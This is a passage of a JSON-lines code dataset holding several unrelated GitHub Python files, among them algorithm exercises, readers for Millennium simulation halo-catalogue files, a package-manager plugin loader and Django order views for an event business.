du résiduel\n r = y - X[:, m_hat]* w[k]\n \n error_norm[k] = np.linalg.norm(r) \n return w, error_norm\n","repo_name":"BadreddineChaguer/Regression---predict-the-year-of-music-release","sub_path":"Project/algorithms/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":4989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43149979204","text":"# There are N network nodes, labelled 1 to N.\n#\n# Given times, a list of travel times as directed edges times[i] = (u, v, w), where u is the source node,\n# v is the target node, and w is the time it takes for a signal to travel from source to target.\n#\n# Now, we send a signal from a certain node K. How long will it take for all nodes to receive the signal? If it is\n# impossible, return -1.\n#\nimport collections\nfrom typing import List\n\n\nclass Solution:\n def networkDelayTime1(self, times: List[List[int]], N: int, K: int) -> int:\n K -= 1\n nodes = collections.defaultdict(list)\n for u, v, w in times:\n nodes[u - 1].append((v - 1, w))\n dist = [float('inf')] * N\n dist[K] = 0\n done = set()\n for _ in range(N):\n smallest = min((d, i) for (i, d) in enumerate(dist) if i not in done)[1]\n for v, w in nodes[smallest]:\n if v not in done and dist[smallest] + w < dist[v]:\n dist[v] = dist[smallest] + w\n done.add(smallest)\n return -1 if float('inf') in dist else max(dist)\n\n def networkDelayTime(self, times: List[List[int]], N: int, K: int) -> int:\n li = [[0] * N for i in range(N)]\n for v in times:\n i = v[0] - 1\n j = v[1] - 1\n time = v[2]\n li[i][j] = time\n costs = [0] * N\n touched = []\n touched.append(K - 1)\n costs[K - 1] = 0\n while touched:\n i = touched.pop()\n cost = costs[i]\n next_times = li[i]\n for j, v in enumerate(next_times):\n if i == j:\n continue\n if v != 0:\n if costs[j] != 0:\n costs[j] = min(costs[j], cost + v)\n else:\n if j != K - 1:\n costs[j] = cost + v\n touched.append(j)\n time = 0\n for i, v in enumerate(costs):\n if v == 0:\n if i == K - 1:\n continue\n return -1\n time = max(time, v)\n return time\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.networkDelayTime1([[1, 2, 1], [2, 1, 3]]\n , 2\n , 2))\n","repo_name":"TTVidi/leetcode-python","sub_path":"src/leetcode/mock1/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21831874464","text":"n = int(input())\r\nli_x = []\r\nli_y = []\r\nfor i in range(n):\r\n x, y = map(int, input().split())\r\n li_x.append(x)\r\n li_y.append(y)\r\nmax_x = max(li_x)\r\nmin_x = min(li_x)\r\nmax_y = max(li_y)\r\nmin_y = min(li_y)\r\nprint((max_x - min_x) * (max_y - min_y))","repo_name":"hyoJeong0390/BOJ","sub_path":"백준/Bronze/9063. 대지/대지.py","file_name":"대지.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24246856935","text":"#!/bin/env python\n#\n# Classes to read FoF/Subfind output from L-Gadget2 and L-SubFind\n#\n\nimport numpy as np\nfrom virgo.util.read_binary import BinaryFile\nfrom virgo.util.peano import peano_hilbert_key_inverses, peano_hilbert_keys\nfrom virgo.util.exceptions import SanityCheckFailedException\n\n\ndef cosma_file_path(itype, isnap, ifile):\n \"\"\"Calculate location of Millennium files on Cosma\"\"\"\n idest = (ifile+3*(63-isnap)) % 14\n if itype == 0:\n return \"/milli%2.2i/d%2.2i/snapshot/snap_millennium_%3.3i.%i\" % (idest,isnap,isnap,ifile)\n elif itype == 1:\n return \"/milli%2.2i/d%2.2i/group_tab/group_tab_%3.3i.%i\" % (idest,isnap,isnap,ifile)\n elif itype == 2:\n return \"/milli%2.2i/d%2.2i/sub_tab/sub_tab_%3.3i.%i\" % (idest,isnap,isnap,ifile)\n elif itype == 3:\n return \"/milli%2.2i/d%2.2i/sub_ids/sub_ids_%3.3i.%i\" % (idest,isnap,isnap,ifile)\n elif itype == 4:\n return \"/milli%2.2i/d%2.2i/group_ids/group_ids_%3.3i.%i\" % (idest,isnap,isnap,ifile)\n\n\nclass GroupTabFile(BinaryFile):\n \"\"\"\n Class for reading Millennium-1 group_tab files written by L-Gadget2\n \"\"\"\n def __init__(self, fname, *args):\n BinaryFile.__init__(self, fname, *args)\n\n # Header\n self.add_dataset(\"Ngroups\", np.int32)\n self.add_dataset(\"Nids\", np.int32)\n self.add_dataset(\"TotNgroups\", np.int32)\n self.add_dataset(\"NTask\", np.int32)\n \n # Establish endian-ness by sanity check on number of files\n nfiles = self[\"NTask\"][...]\n if nfiles < 1 or nfiles > 65535:\n self.enable_byteswap(True)\n\n # FoF group info\n ngroups = self[\"Ngroups\"][...]\n self.add_dataset(\"GroupLen\", np.int32, (ngroups,))\n self.add_dataset(\"GroupOffset\", np.int32, (ngroups,))\n self.add_dataset(\"GroupMinLen\", np.int32)\n minlen = self[\"GroupMinLen\"][...]\n self.add_dataset(\"Count\", np.int32, (minlen,))\n\n def sanity_check(self):\n\n ngroups = self[\"Ngroups\"][...]\n nids = self[\"Nids\"][...]\n grouplen = self[\"GroupLen\"][...]\n groupoffset = self[\"GroupOffset\"][...]\n\n if sum(grouplen) != nids:\n raise SanityCheckFailedException(\"Sum of group sizes does not equal number of particle IDs\")\n\n if any(groupoffset < 0) or any(groupoffset >= nids):\n raise SanityCheckFailedException(\"Group offset out of range\")\n\n if ngroups > 1:\n if any(groupoffset[1:] != groupoffset[:-1] + grouplen[:-1]):\n raise SanityCheckFailedException(\"Group offset not equal to (offset+length) of previous group\")\n\n return None\n\n\nclass GroupIDsFile(BinaryFile):\n \"\"\"\n Class for reading Millennium-1 group_ids files written by L-Gadget2\n \"\"\"\n def __init__(self, fname, id_bytes=8, *args):\n BinaryFile.__init__(self, fname, *args)\n\n # Header\n self.add_dataset(\"Ngroups\", np.int32)\n self.add_dataset(\"Nids\", np.int32)\n self.add_dataset(\"TotNgroups\", np.int32)\n self.add_dataset(\"NTask\", np.int32)\n \n # Establish endian-ness by sanity check on number of files\n nfiles = self[\"NFiles\"][...]\n if nfiles < 1 or nfiles > 65535:\n self.enable_byteswap(True)\n\n # We also need to know the data types used for particle IDs\n if id_bytes == 4:\n self.id_type = np.uint32\n elif id_bytes == 8:\n self.id_type = np.uint64\n else:\n raise ValueError(\"id_bytes must be 4 or 8\")\n\n # Read header\n Nids = self[\"Nids\"][...]\n\n # Particle IDs\n self.add_dataset(\"GroupIDs\", self.id_type, (Nids,))\n\n def sanity_check(self):\n \n ids = self[\"GroupIDs\"][...]\n if np.any(ids < 0):\n raise SanityCheckFailedException(\"Found negative ID\")\n\n # Split ID into particle ID and hash key\n key = np.right_shift(ids, 34)\n ids = ids - np.left_shift(key, 34)\n\n # Note: hash table size and max ID hard coded here\n if np.any(key < 0) or np.any(key >= 256**3):\n raise SanityCheckFailedException(\"Hash key out of range\")\n if np.any(ids<0) or np.any(ids>2160**3):\n raise SanityCheckFailedException(\"Particle ID out of range\")\n if sum(ids==0) > 1:\n raise SanityCheckFailedException(\"Found multiple zero IDs\")\n\n # Return None if everything looks ok\n return None\n\n\nclass SubTabFile(BinaryFile):\n \"\"\"\n Class for reading Millennium-1 sub_tab files written by L-SubFind\n \"\"\"\n def __init__(self, fname, id_bytes=8, *args):\n BinaryFile.__init__(self, fname, *args)\n\n # Header\n self.add_dataset(\"Ngroups\", np.int32)\n self.add_dataset(\"Nids\", np.int32)\n self.add_dataset(\"TotNgroups\", np.int32)\n self.add_dataset(\"NFiles\", np.int32)\n self.add_dataset(\"Nsubhalos\", np.int32)\n \n # Establish endian-ness by sanity check on number of files\n nfiles = self[\"NFiles\"][...]\n if nfiles < 1 or nfiles > 65535:\n self.enable_byteswap(True)\n\n # We also need to know the data types used for particle IDs\n if id_bytes == 4:\n self.id_type = np.uint32\n elif id_bytes == 8:\n self.id_type = np.uint64\n else:\n raise ValueError(\"id_bytes must be 4 or 8\")\n\n # Read header\n ngroups = self[\"Ngroups\"][...]\n nids = self[\"Nids\"][...]\n nfiles = self[\"NFiles\"][...]\n nsubgroups = self[\"Nsubhalos\"][...]\n\n # FoF group info\n self.add_dataset(\"NsubPerHalo\", np.int32, (ngroups,))\n self.add_dataset(\"FirstSubOfHalo\", np.int32, (ngroups,))\n\n # Subhalo info\n self.add_dataset(\"SubLen\", np.int32, (nsubgroups,))\n self.add_dataset(\"SubOffset\", np.int32, (nsubgroups,))\n self.add_dataset(\"SubParentHalo\", np.int32, (nsubgroups,))\n\n # Spherical overdensity masses and radii\n self.add_dataset(\"Halo_M_Mean200\", np.float32, (ngroups,))\n self.add_dataset(\"Halo_R_Mean200\", np.float32, (ngroups,))\n self.add_dataset(\"Halo_M_Crit200\", np.float32, (ngroups,))\n self.add_dataset(\"Halo_R_Crit200\", np.float32, (ngroups,))\n self.add_dataset(\"Halo_M_TopHat200\", np.float32, (ngroups,))\n self.add_dataset(\"Halo_R_TopHat200\", np.float32, (ngroups,))\n \n # Subhalo properties\n self.add_dataset(\"SubPos\", np.float32, (nsubgroups,3))\n self.add_dataset(\"SubVel\", np.float32, (nsubgroups,3))\n self.add_dataset(\"SubVelDisp\", np.float32, (nsubgroups,))\n self.add_dataset(\"SubVmax\", np.float32, (nsubgroups,))\n self.add_dataset(\"SubSpin\", np.float32, (nsubgroups,3))\n self.add_dataset(\"SubMostBoundID\", self.id_type, (nsubgroups,))\n self.add_dataset(\"SubHalfMass\", np.float32, (nsubgroups,))\n\n def sanity_check(self):\n\n ngroups = self[\"Ngroups\"][...]\n nids = self[\"Nids\"][...]\n nfiles = self[\"NFiles\"][...]\n nsubgroups = self[\"Nsubhalos\"][...]\n\n nsubperhalo = self[\"NsubPerHalo\"][...]\n firstsubofhalo = self[\"FirstSubOfHalo\"][...]\n sublen = self[\"SubLen\"][...]\n suboffset = self[\"SubOffset\"][...]\n subparenthalo = self[\"SubParentHalo\"][...]\n\n # Check assignment of subhalos to halos\n if np.sum(nsubperhalo) != nsubgroups:\n raise SanityCheckFailedException(\"Sum of NSubPerHalo is wrong\")\n ind = nsubperhalo > 0\n if np.any(firstsubofhalo[ind]<0) or np.any(firstsubofhalo[ind]>=nsubgroups):\n raise SanityCheckFailedException(\"FirstSubOfHalo out of range\")\n if np.any(suboffset<0) or np.any(suboffset+sublen>nids):\n raise SanityCheckFailedException(\"Subhalo particle index(es) out of range\")\n\n # Check subhalo parent group index\n parent = np.repeat(np.arange(ngroups, dtype=np.int32), nsubperhalo)\n if np.any(subparenthalo != parent):\n raise SanityCheckFailedException(\"Subhalo parent halo index is wrong\")\n\n # Check quantities which should be finite\n for name in (\"Halo_M_Mean200\", \"Halo_R_Mean200\", \n \"Halo_M_Crit200\", \"Halo_R_Crit200\", \n \"Halo_M_TopHat200\", \"Halo_R_TopHat200\",\n \"SubPos\", \"SubVel\", \"SubVelDisp\",\n \"SubVmax\", \"SubSpin\", \"SubHalfMass\"):\n data = self[name][...]\n if np.any(np.logical_not(np.isfinite(data))):\n raise SanityCheckFailedException(\"Quantity %s has non-finite value\" % name)\n \n # Return None if everything looks ok\n return None\n\n\nclass SubIDsFile(BinaryFile):\n \"\"\"\n Class for reading Millennium-1 sub_ids files written by L-SubFind\n \"\"\"\n def __init__(self, fname, id_bytes=8, *args):\n BinaryFile.__init__(self, fname, *args)\n\n # Header\n self.add_dataset(\"Ngroups\", np.int32)\n self.add_dataset(\"Nids\", np.int32)\n self.add_dataset(\"TotNgroups\", np.int32)\n self.add_dataset(\"NFiles\", np.int32)\n \n # Establish endian-ness by sanity check on number of files\n nfiles = self[\"NFiles\"][...]\n if nfiles < 1 or nfiles > 65535:\n self.enable_byteswap(True)\n\n # We also need to know the data types used for particle IDs\n if id_bytes == 4:\n self.id_type = np.uint32\n elif id_bytes == 8:\n self.id_type = np.uint64\n else:\n raise ValueError(\"id_bytes must be 4 or 8\")\n\n # Read header\n Nids = self[\"Nids\"][...]\n\n # Particle IDs\n self.add_dataset(\"GroupIDs\", self.id_type, (Nids,))\n\n def sanity_check(self):\n \n ids = self[\"GroupIDs\"][...]\n if np.any(ids < 0):\n raise SanityCheckFailedException(\"Found negative ID\")\n\n # Split ID into particle ID and hash key\n key = np.right_shift(ids, 34)\n ids = ids - np.left_shift(key, 34)\n\n # Note: hash table size and max ID hard coded here\n if np.any(key < 0) or np.any(key >= 256**3):\n raise SanityCheckFailedException(\"Hash key out of range\")\n if np.any(ids<0) or np.any(ids>2160**3):\n raise SanityCheckFailedException(\"Particle ID out of range\")\n if sum(ids==0) > 1:\n raise SanityCheckFailedException(\"Found multiple zero IDs\")\n\n # Return None if everything looks ok\n return None\n \n\nclass SnapshotFile(BinaryFile):\n \"\"\"\n Class for reading Millennium-1 snapshot files\n \"\"\"\n def __init__(self, fname, *args):\n BinaryFile.__init__(self, fname, *args)\n\n # Header\n self.start_fortran_record(auto_byteswap=True)\n self.add_attribute(\"Header/NumPart_ThisFile\", np.uint32, (6,))\n self.add_attribute(\"Header/MassTable\", np.float64, (6,))\n self.add_attribute(\"Header/Time\", np.float64)\n self.add_attribute(\"Header/Redshift\", np.float64)\n self.add_attribute(\"Header/Flag_Sfr\", np.int32)\n self.add_attribute(\"Header/Flag_Feedback\", np.int32)\n self.add_attribute(\"Header/NumPart_Total\", np.uint32, (6,))\n self.add_attribute(\"Header/Flag_Cooling\", np.int32)\n self.add_attribute(\"Header/NumFilesPerSnapshot\", np.int32)\n self.add_attribute(\"Header/BoxSize\", np.float64)\n self.add_attribute(\"Header/Omega0\", np.float64)\n self.add_attribute(\"Header/OmegaLambda\", np.float64)\n self.add_attribute(\"Header/HubbleParam\", np.float64)\n self.add_attribute(\"Header/Flag_StellarAge\", np.int32)\n self.add_attribute(\"Header/Flag_Metals\", np.int32)\n self.add_attribute(\"Header/HashTabSize\", np.int32)\n self.add_attribute(\"Header/fill\", np.uint8, (84,))\n self.end_fortran_record()\n\n # Get number of particles in this file\n n = self[\"Header\"].attrs[\"NumPart_ThisFile\"][1]\n\n # Coordinates\n self.start_fortran_record()\n self.add_dataset(\"PartType1/Coordinates\", np.float32, (n,3))\n self.end_fortran_record()\n\n # Velocities\n self.start_fortran_record()\n self.add_dataset(\"PartType1/Velocities\", np.float32, (n,3))\n self.end_fortran_record()\n\n # IDs\n self.start_fortran_record()\n self.add_dataset(\"PartType1/ParticleIDs\", np.uint64, (n,))\n self.end_fortran_record()\n\n # Range of hash cells in this file\n self.start_fortran_record()\n self.add_dataset(\"first_hash_cell\", np.int32)\n self.add_dataset(\"last_hash_cell\", np.int32)\n self.end_fortran_record()\n \n # Calculate how many hash cells we have in this file\n nhash = self[\"last_hash_cell\"][...] - self[\"first_hash_cell\"][...] + 1\n\n # Location of first particle in each cell relative to start of file\n self.start_fortran_record()\n self.add_dataset(\"blockid\", np.int32, (nhash,))\n self.end_fortran_record()\n\n def sanity_check(self):\n\n n = self[\"Header\"]\n boxsize = self[\"Header\"].attrs[\"BoxSize\"]\n nptot = self[\"Header\"].attrs[\"NumPart_Total\"]\n hashtabsize = self[\"Header\"].attrs[\"HashTabSize\"]\n nptot = nptot[1] + (nptot[2] << 32)\n\n # Determine hashbits\n hashbits = 1\n while hashtabsize > 2:\n hashtabsize /= 2\n hashbits += 1\n hashbits /= 3 # bits per dimension\n del hashtabsize\n\n # Check positions\n pos = self[\"PartType1/Coordinates\"][...]\n if not(np.all(np.isfinite(pos))):\n raise SanityCheckFailedException(\"Particle coordinate is not finite\")\n if np.any(pos < 0.0) or np.any(pos > boxsize):\n raise SanityCheckFailedException(\"Particle coordinate out of range\")\n # (don't dealloc positions yet - needed for hash table check)\n\n # Check velocities\n vel = self[\"PartType1/Velocities\"][...]\n if not(np.all(np.isfinite(vel))):\n raise SanityCheckFailedException(\"Particle velocity is not finite\")\n if np.any(abs(vel) > 1.0e6):\n raise SanityCheckFailedException(\"Suspiciously high velocity\")\n del vel\n\n # Check IDs\n ids = self[\"PartType1/ParticleIDs\"][...]\n if np.any(ids < 0) or np.any(ids > nptot):\n raise SanityCheckFailedException(\"Particle ID out of range\")\n del ids\n\n # Read hash table\n first_hash_cell = self[\"first_hash_cell\"][...]\n last_hash_cell = self[\"last_hash_cell\"][...]\n blockid = self[\"blockid\"][...]\n\n # Calculate hash key for each particle\n key = np.zeros(pos.shape[0], dtype=np.int32) - 1\n for i in range(last_hash_cell-first_hash_cell):\n key[blockid[i]:blockid[i+1]] = i + first_hash_cell\n key[blockid[-1]:] = last_hash_cell\n\n # Convert hash keys to grid coordinates\n ix, iy, iz = peano_hilbert_key_inverses(key, hashbits)\n\n # Convert grid coordinates to physical coords of cell centre\n cellsize = boxsize / (2**hashbits)\n cell_pos = np.empty_like(pos)\n cell_pos[:,0] = ix * cellsize + 0.5*cellsize\n cell_pos[:,1] = iy * cellsize + 0.5*cellsize\n cell_pos[:,2] = iz * cellsize + 0.5*cellsize\n\n # Ensure all particles are within cells\n for i in range(3):\n dx = np.abs(pos[:,i]-cell_pos[:,i])\n ind = dx>0.5*boxsize\n dx[ind] = boxsize - dx[ind]\n if any(dx > 1.001*0.5*cellsize):\n raise SanityCheckFailedException(\"Particle not in correct hash cell\")\n \n # Return None if everything looks ok\n return None\n\n\nclass Snapshot():\n \"\"\"\n Class for reading parts of a Millennium snapshot\n using the hash table.\n \"\"\"\n def __init__(self, basedir, basename, isnap):\n \"\"\"\n Open a new snapshot\n\n basedir: name of directory with snapdir_??? and postproc_??? subdirs\n basename: snapshot file name before the last underscore (e.g. snap_millennium)\n isnap: which snapshot to read\n \"\"\"\n \n # Store file name info\n self.basedir = basedir\n self.basename = basename\n self.isnap = isnap\n\n # Get box size, size of hash grid etc from first file\n snap = self.open_file(self.isnap, 0)\n self.nhash = snap[\"Header\"].attrs[\"HashTabSize\"]\n self.boxsize = snap[\"Header\"].attrs[\"BoxSize\"]\n self.nfiles = snap[\"Header\"].attrs[\"NumFilesPerSnapshot\"]\n self.ncell = 1\n self.bits = 0\n while self.ncell**3 < self.nhash:\n self.ncell *= 2\n self.bits += 1\n\n # Initialise cache for hash table\n self.hash_table = {}\n\n def open_file(self, isnap, ifile):\n \"\"\"\n Open the specified snapshot file\n \"\"\"\n if self.basedir != \"COSMA\":\n fname = \"%s/snapdir_%03d/%s_%03d.%d\" % (self.basedir, isnap, \n self.basename, isnap, ifile)\n else:\n fname = \"/gpfs/data/Millennium/\"+cosma_file_path(0, isnap, ifile)\n return SnapshotFile(fname) \n \n def read_region(self, coords):\n \"\"\"\n Use the hash table to extract a region from a Millennium snapshot\n \n coords: region to read in the form (xmin, xmax, ymin, ymax, zmin, zmax)\n \"\"\"\n\n # Identify requested hash cells\n cellsize = self.boxsize / self.ncell\n icoords = np.floor(np.asarray(coords, dtype=float) / cellsize)\n idx = np.indices((icoords[1]-icoords[0]+1,\n icoords[3]-icoords[2]+1,\n icoords[5]-icoords[4]+1))\n ix = np.mod(idx[0].flatten() + icoords[0], self.ncell)\n iy = np.mod(idx[1].flatten() + icoords[2], self.ncell)\n iz = np.mod(idx[2].flatten() + icoords[4], self.ncell)\n keys = peano_hilbert_keys(ix, iy, iz, self.bits)\n\n # Read particles in these cells\n return self.read_cells(keys)\n\n def read_cells(self, keys):\n \"\"\"\n Use the hash table to read particles with specified hash keys\n \"\"\"\n\n # Flag requested grid cells\n hashgrid = np.zeros(self.nhash, dtype=np.bool)\n hashgrid[keys] = True\n\n # Loop over files to read\n pos = []\n vel = []\n ids = []\n for ifile in range(self.nfiles):\n\n snap = None\n\n # Check if we have cached hash table data for this file\n # so we can avoid opening it if it contains no selected cells\n if ifile in self.hash_table:\n first_hash_cell, last_hash_cell = self.hash_table[ifile]\n else:\n snap = self.open_file(self.isnap, ifile)\n first_hash_cell = snap[\"first_hash_cell\"][...]\n last_hash_cell = snap[\"last_hash_cell\"][...]\n self.hash_table[ifile] = (first_hash_cell, last_hash_cell)\n\n # Check if we have some cells to read from this file\n read_cell = hashgrid[first_hash_cell:last_hash_cell+1]\n if np.any(read_cell):\n\n # Need to read this file\n if snap is None:\n snap = self.open_file(self.isnap, ifile)\n \n # Read number of particles in this file\n npart = snap[\"Header\"].attrs[\"NumPart_ThisFile\"][1]\n\n # Read this part of the hash table\n first_in_this_cell = snap[\"blockid\"][...]\n first_in_next_cell = np.empty_like(first_in_this_cell)\n first_in_next_cell[:-1] = first_in_this_cell[1:]\n first_in_next_cell[-1] = npart\n num_in_cell = first_in_next_cell - first_in_this_cell\n\n # Determine which particles we need to read\n read_particle = np.repeat(read_cell, num_in_cell)\n\n # Read the selected particles from this file\n pos.append(snap[\"PartType1/Coordinates\"][read_particle,:])\n vel.append(snap[\"PartType1/Velocities\"][read_particle,:])\n ids.append(snap[\"PartType1/ParticleIDs\"][read_particle])\n\n # Assemble output arrays\n pos = np.concatenate(pos, axis=0)\n vel = np.concatenate(vel, axis=0)\n ids = np.concatenate(ids)\n\n return pos, vel, ids\n","repo_name":"jchelly/VirgoDC","sub_path":"python/virgo/formats/subfind_lgadget2.py","file_name":"subfind_lgadget2.py","file_ext":"py","file_size_in_byte":20565,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"32659352969","text":"import sys\n\n# CAMBRIDGE 각각의 철자를 담은 배열을 선언(중복 없음)\narr = list(set(list(\"CAMBRIDGE\")))\n\n# 문자열 입력\nstring = list(sys.stdin.readline().rstrip())\n\n# CAMBRIDGE내에 들어간 철자가 포함되지 않은 글자들만 result에 추가\nresult = \"\"\nfor s in string :\n if s not in arr :\n result += s\n\nprint(result)\n","repo_name":"KimHyungkeun/Algorithm","sub_path":"Baekjoon/문자열/2789_유학금지.py","file_name":"2789_유학금지.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35461335044","text":"a=\"Nayeem\"\nb=\"Nayeem\"\nc=\"Rayeem\"\nprint(a is b) #output true\nprint(a is c) #output false\nprint(c is not b) #output true\n\n#One another code.Look bellow.It is a easy code\n\na=78\nb=89\nc=78\nd=87\ne=57\nf=87\nif(a is b):\n\tprint(\"A and B got same marks\")\nif(d is f):\n\tprint(\"D and f got same marks\")\n","repo_name":"mdislamnishatnayeem/PYTHON_CODES-practice","sub_path":"Identify operators practice.py","file_name":"Identify operators practice.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3060473281","text":"import sys\nimport inspect\nimport importlib\nimport pkgutil\n\nimport migasfree.core.pms.plugins\n\nfrom importlib import import_module\n\nfrom .apt import Apt\nfrom .dnf import Dnf\nfrom .pacman import Pacman\nfrom .winget import Winget\nfrom .yum import Yum\nfrom .zypper import Zypper\n\n\ndef iter_namespace(ns_pkg):\n return pkgutil.iter_modules(ns_pkg.__path__, ns_pkg.__name__ + '.')\n\n\ndef get_discovered_plugins():\n return {\n name: importlib.import_module(name)\n for finder, name, ispkg\n in iter_namespace(migasfree.core.pms.plugins)\n }\n\n\ndef get_available_pms():\n ret = [\n ('apt', 'apt'),\n ('dnf', 'dnf'),\n ('pacman', 'pacman'),\n ('winget', 'winget'),\n ('yum', 'yum'),\n ('zypper', 'zypper'),\n ]\n\n discovered_plugins = get_discovered_plugins()\n for item in discovered_plugins.keys():\n pms = item.split('.')[-1]\n ret.append((pms, f'plugins.{pms}'))\n\n return tuple(sorted(ret, key=lambda x: x[0]))\n\n\ndef get_available_mimetypes():\n ret = Apt().mimetype + Dnf().mimetype + Pacman().mimetype + Winget().mimetype + Yum().mimetype + Zypper().mimetype\n\n discovered_plugins = get_discovered_plugins()\n for item in discovered_plugins.keys():\n for class_ in inspect.getmembers(sys.modules[item], inspect.isclass):\n if class_[0] != 'Pms':\n ret += class_[1]().mimetype\n\n return ';'.join(ret)\n\n\ndef get_pms(name):\n available_pms = dict(get_available_pms())\n mod = import_module(\n f'migasfree.core.pms.{available_pms.get(name)}'\n )\n\n return getattr(mod, name.capitalize())()\n","repo_name":"migasfree/migasfree-backend","sub_path":"migasfree/core/pms/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"10615841373","text":"def fill_the_board(rows):\n board = []\n for _ in range(rows):\n line = [ch for ch in input().split(\" \")]\n board.append(line)\n return board\n\n\ndef find_a_dot(current_list):\n coordinates = []\n column = len(current_list[0])\n condition = False\n for row in range(rows):\n for col in range(column):\n if current_list[row][col] == \".\":\n coordinates.append([row, col])\n condition = True\n break\n if condition:\n break\n return coordinates\n\n\ndef count_the_chain_of_dots(board, count_connected_dots, position, directions):\n counter = 1\n column = len(board[0])\n while position:\n list_of_positions = [ch for ch in position]\n position = []\n while list_of_positions:\n current_position = list_of_positions.pop(0)\n board[current_position[0]][current_position[1]] = \"-\"\n for key, coordinates in directions.items():\n row = current_position[0] + coordinates[0]\n col = current_position[1] + coordinates[1]\n if 0 <= row < len(board) and 0 <= col < column:\n if board[row][col] == \".\":\n position.append([row, col])\n board[row][col] = \"-\"\n counter += 1\n count_connected_dots.append(counter)\n return board, count_connected_dots, position_dot\n\n\nrows = int(input())\ndirections = {\"left\": [0, -1], \"right\": [0, 1], \"down\": [1, 0], \"up\": [-1, 0]}\nmoves = 0\ncount_connected_dots = []\ndots_board = fill_the_board(rows)\nposition_dot = find_a_dot(dots_board)\n\nwhile position_dot:\n dots_board, count_connected_dots, position_dot = count_the_chain_of_dots(dots_board, count_connected_dots,\n position_dot, directions)\n position_dot = find_a_dot(dots_board)\n\nif count_connected_dots:\n print(max(count_connected_dots))\nelse:\n print(0)\n","repo_name":"AlexanderBedrosyan/Programming-Fundamentals-with-Python","sub_path":"Lists Advanced - More Exercises/dots_2.py","file_name":"dots_2.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"74653473425","text":"import json\nfrom django.shortcuts import render, redirect,get_object_or_404\nfrom django.views import View\nfrom django.db.models import Q\nfrom .models import *\nfrom django.core.mail import send_mail\nfrom django.contrib import messages\nfrom django.conf import settings\nfrom django.urls import reverse, reverse_lazy\nfrom datetime import datetime\nfrom django.http import Http404, HttpResponseRedirect\nimport stripe\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import JsonResponse\nfrom django.contrib.auth import login, authenticate\nfrom .forms import CustomUserCreationForm, CustomAuthenticationForm\nfrom django import forms\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth.decorators import user_passes_test, login_required\nfrom django.contrib.auth import get_user_model\nfrom django.views.generic import DetailView, UpdateView, ListView\nfrom django.db import transaction\nfrom django.urls import reverse\nimport logging\nfrom collections import defaultdict\nfrom django.db.models import Sum\n\n\n\n# Initialize Stripe\nstripe.api_key = settings.STRIPE_SECRET_KEY\n\nUser = get_user_model()\n\n\nclass OrderForm(forms.ModelForm):\n class Meta:\n model = OrderModel\n fields = [\n 'client_full_name',\n 'cell_number', 'date_of_event', 'event_type', 'number_of_guests', \n 'start_time', 'end_time', 'location_of_event', \n 'email','street_address', 'city', 'state', 'zip_code'\n ]\n\ndef register(request):\n if request.user.is_authenticated:\n return redirect('user_dashboard')\n \n if request.method == 'POST':\n form = CustomUserCreationForm(request.POST)\n if form.is_valid():\n user = form.save()\n \n # Explicitly specify the backend to use\n backend = authenticate(\n username=form.cleaned_data['username'], \n password=form.cleaned_data['password1']\n )\n \n login(request, user, backend='django.contrib.auth.backends.ModelBackend') # Adjust this to your backend\n\n return redirect('user_dashboard') # Redirect to a home page or some other page\n else:\n form = CustomUserCreationForm()\n return render(request, 'registration/register.html', {'form': form})\n\ndef user_login(request):\n if request.method == 'POST':\n form = CustomAuthenticationForm(data=request.POST)\n if form.is_valid():\n user = form.get_user()\n login(request, user)\n return redirect('user_dashboard') # Redirect to a home page or some other page\n else:\n form = CustomAuthenticationForm()\n return render(request, 'login.html', {'form': form})\n\nclass Index(View):\n def get(self, request, *args, **kwargs):\n if request.user.is_authenticated:\n return redirect('user_dashboard')\n else:\n return render(request, 'customer/index.html')\n\nclass About(View):\n def get(self, request, *args, **kwargs):\n return render(request, 'customer/about.html')\n\nclass Order(View):\n def get(self, request, *args, **kwargs):\n # Check if an unpaid order exists for the user\n existing_unpaid_order = OrderModel.objects.filter(user=request.user, is_paid=False).first()\n \n if existing_unpaid_order:\n # Redirect to the order details page for the existing unpaid order\n return redirect(reverse('order-detail', args=[existing_unpaid_order.id]))\n\n\n # Retrieve menu items from each category\n visuals = MenuItem.objects.filter(category__name__contains='Visuals')\n time = MenuItem.objects.filter(category__name__contains='Time')\n photo = MenuItem.objects.filter(category__name__contains='Photo')\n lights = MenuItem.objects.filter(category__name__contains='Lights')\n type_of_payments = OrderModel.objects.all()\n menu_items = MenuItem.objects.all()\n \n cart_items = CartItem.objects.filter(user=request.user)\n order, created = OrderModel.objects.get_or_create(user=request.user, is_paid=False)\n \n # Associate items with the order\n order.items.set([item.menu_item for item in cart_items])\n\n form = OrderForm(initial={\n 'client_full_name': request.user.first_name + ' ' + request.user.last_name,\n 'email': request.user.email,\n })\n \n context = {\n 'visuals': visuals,\n 'time': time,\n 'photo': photo,\n 'lights': lights,\n 'type_of_payments': type_of_payments,\n 'form':form,\n 'menu_items': menu_items,\n }\n \n return render(request, 'customer/order.html', context)\n\n def post(self, request, *args, **kwargs):\n # Check if an unpaid order exists for the user\n existing_unpaid_order = OrderModel.objects.filter(user=request.user, is_paid=False).first()\n \n if existing_unpaid_order:\n # Redirect to payment page for the existing unpaid order, or show a message\n return redirect(reverse('order-detail', args=[existing_unpaid_order.id]))\n\n try:\n form = OrderForm(request.POST)\n if form.is_valid():\n # This will create a new 